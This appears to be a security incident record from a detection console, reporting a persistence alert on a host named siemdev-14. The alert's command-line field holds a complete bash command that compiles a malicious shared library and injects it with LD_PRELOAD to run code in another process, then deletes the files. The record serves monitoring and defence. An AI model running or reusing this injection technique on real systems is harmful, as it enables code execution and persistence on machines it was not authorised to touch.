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Medium CINC-20251220-D8E43AF2 new

Aggregate ID: aggind:021368f9220b45cdb2760a069897c1c8:18070563715

Incident Overview

Incident ID CINC-20251220-D8E43AF2
Severity Medium (70)
Status new
Alert Count 1
Host Count 1

Timeline

First Seen 2025-12-20 08:40:48
Last Seen 2025-12-20 08:40:48
Duration 0d 0h 0m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Persistence
Techniques:
External Remote Services

Affected Hosts (1)

siemdev-14

Related Alerts (1)

Severity Status Hostname Description Tactic Command Line Time
High new siemdev-14 The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source. Persistence bash -c echo "=== LD_PRELOAD Injection ===" cat > /tmp/evil.c << "EOF" #include <stdio.h> #include <stdlib.h> void __attribute__((constructor)) init() { system("id > /tmp/pwned.txt"); } EOF gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c 2>/dev/null LD_PRELOAD=/tmp/evil.so id 2>/dev/null cat /tmp/pwned.txt 2>/dev/null rm -f /tmp/evil.c /tmp/evil.so /tmp/pwned.txt echo "Done" 12-20 08:40